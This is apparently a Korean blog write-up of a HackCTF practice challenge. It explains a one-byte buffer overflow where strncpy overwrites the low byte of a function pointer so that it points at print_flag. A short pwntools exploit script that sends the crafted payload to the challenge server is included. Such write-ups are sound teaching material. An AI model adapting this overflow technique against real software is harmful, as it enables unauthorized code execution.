select func을 보면
strncpy -> src값을 31바이트만큼 dest에 복사한다
dest가 one과 같다면 v3에 one을 집어넣고 return한다
느낌상 return값을 print_flag로 바꿔주어야 될것같다.
dest = ebp-2A = 42
v3 = ebp -Ch = 12
strncpy 에서 31바이트 만큼 복사하고 두변수사이 공간은 30이니 1만큼 변조 가능하다.
two = 0x000006AD
print_flag = 0x000006D8
AD -> D8로 변조해주면 문제가 풀릴것 같다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3007)
p.recvline()
pay = b"A"*30
pay += b"\xd8"
p.sendline(pay)
p.interactive()
'Write-Up > HackCTF' 카테고리의 다른 글
[HackCTF] Yes or no (0) | 2021.05.17 |
---|---|
[HackCTF] BOF_PIE (0) | 2021.05.17 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.05.16 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.05.16 |
[HackCTF] x64 Buffer Overflow (0) | 2021.05.16 |